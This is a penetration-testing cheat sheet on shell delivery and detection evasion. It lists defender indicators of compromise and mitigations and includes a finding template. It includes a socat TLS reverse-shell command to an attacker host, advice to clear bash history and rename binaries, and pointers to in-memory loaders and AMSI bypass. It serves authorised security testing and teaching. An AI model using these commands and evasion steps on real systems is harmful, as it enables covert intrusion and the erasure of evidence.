🛡️ Methodology Checklist

  • Review MITRE ATT&CK T1059 (Command Scripting), T1105 (Ingress Tool Transfer)
  • Identify shell delivery vector and apply OPSEC considerations
  • Avoid writing payloads to disk when possible (in-memory execution)
  • Use encrypted channels (HTTPS) to evade network detection
  • Rename binaries, rename scripts to benign names
  • Clean up dropped files, clear bash history (history -c; history -w)
  • Document all payloads used for report deconfliction

🎯 Operational Context

Use when: Planning shell delivery for a target with active EDR — understand what Blue Team sees to select the least-detectable approach. Think Dumber First: Unencrypted netcat reverse shells appear as plaintext TCP streams — any DPI device catches them. Use encrypted shells (socat TLS, MSF HTTPS) on monitored networks. Shell spawned by web process (Apache→bash) is a signature IOC — consider process injection instead. Skip when: Lab environment with no monitoring — skip evasion overhead and use simplest working shell.


⚡ Tactical Cheatsheet

IndicatorDetection MethodContext
File upload anomalyApp logs, web root file monitoringwww-data creating files in /var/www/html
Service account spawning shellEDR process monitoringiis apppool spawning cmd.exe or powershell.exe
User recon commandsSIEM correlationwhoami, id, ipconfig, net user in sequence
Heartbeat beaconsNDR / network traffic analysisRegular repetitive connections to external IP
Non-standard outbound portsFirewall logs, IDSTraffic on 4444, 1337, 4445 — Metasploit defaults
Cleartext shell trafficWireshark / DPICommands visible in TCP stream (nc, telnet)
Bulk GET/POSTWAF / IDSDirectory brute-forcing or data exfiltration pattern

🔬 Deep Dive & Workflow

MITRE ATT&CK Mapping

TacticTechniqueTools/Methods
Initial AccessPublic exploit, web app vuln, misconfigurationsearchsploit, default creds, web shells
ExecutionRun malicious code on victimMSFvenom payloads, bash one-liners, PS scripts
Command & ControlMaintain communication channelNetcat listeners, Meterpreter, bind/reverse shells

What Defenders See — Indicators of Compromise

1. File Uploads (Web Shell Detection)

  • App logs: uploads to non-standard directories
  • File type mismatch: image.png with PHP/ASPX content
  • File created in web root by web service user

2. Process Anomalies (Endpoint Detection)

  • Standard users running: whoami, id, ipconfig, net user (recon pattern)
  • Service accounts (iis apppool, www-data) spawning cmd.exe, powershell.exe, bash
  • Users accessing SMB shares outside normal behavior

3. Network Traffic (C2 Detection)

  • Beacons: Regular repetitive connections (heartbeat pattern) = C2 framework
  • Non-standard ports: 4444 (MSF default), 4445, 1337 → immediately suspicious
  • Cleartext commands: nc/telnet traffic shows exact commands in Wireshark
  • Volume: Rapid sequential requests = directory brute-force or exfiltration

Deep Packet Inspection (DPI)

Modern firewalls (Palo Alto, Check Point) inspect Layer 7:

  • Can detect Meterpreter reverse TCP even on port 443
  • Port 80/443 traffic that isn’t HTTP/HTTPS gets flagged
  • Unencrypted nc shells show commands in plaintext — net user hacker /add is visible in raw packet capture

Mitigation Strategies (Defensive Reference)

ControlDefenseAttacker Implication
Application SandboxingWeb server in container/chrootInitial shell = limited to www-data in jail
Least PrivilegeServices run as restricted usersMust privilege escalate after getting shell
DMZ SegmentationWeb servers isolated from LANPivot required to reach internal network
Egress FilteringBlock outbound non-standard portsReverse shells on 4444 fail; use 80/443/53
Windows DefenderReal-time protection enabledPayloads need encoding or obfuscation
ScriptBlock LoggingPS command loggingPowerShell activity audited

”Why Did My Shell Die?” Checklist

  1. AV killed it? → Payload deleted on disk (try fileless IEX or encode)
  2. Bind shell blocked? → Inbound firewall dropping the port (switch to reverse)
  3. Reverse shell blocked? → Egress filtering on port 4444 (use 80, 443, or 53)
  4. AMSI blocked PS? → Script block executed but AMSI killed it (AMSI bypass needed)
  5. Port conflict? → MSF handler can’t bind — check active listeners

🛠️ Troubleshooting & Edge Cases

ProblemCauseFix
Shell detected immediately by EDRDefault nc/bash signaturesEncrypt: socat openssl-connect:[LHOST]:[LPORT],verify=0 exec:/bin/bash,pty,setsid,sigint
Process parent chain reveals injectionapache→bash is an IOCUse process hollowing or spawn from cmd.exe to blend with normal process trees
Network DPI blocking reverse shellPlain TCP detectedUse HTTPS C2 (MSF with windows/meterpreter/reverse_https); port 443 typically allowed
AV flags msfvenom payload on diskStatic signatureReflective load in memory; use Donut or Cobalt Strike’s sRDI for in-memory execution
Shell disconnects after short timeSession timeout/keepaliveAdd keepalive: MSF set SessionCommunicationTimeout 0; socat add ,keepalive

📝 Reporting Trigger

Finding Title: Encrypted Reverse Shell Evades Network Detection Impact: TLS-encrypted reverse shells transmitted over port 443 are indistinguishable from HTTPS traffic at the network level, bypassing DPI-based IDS/IPS and network monitoring tools. Root Cause: Network monitoring lacks endpoint context to correlate encrypted sessions with process behavior. No EDR deployed to detect process spawn chains. Recommendation: Deploy endpoint EDR with behavioral analytics. Implement network traffic analysis that correlates process context with connections. Monitor for unexpected TLS connections from server processes. Use process parent-child monitoring.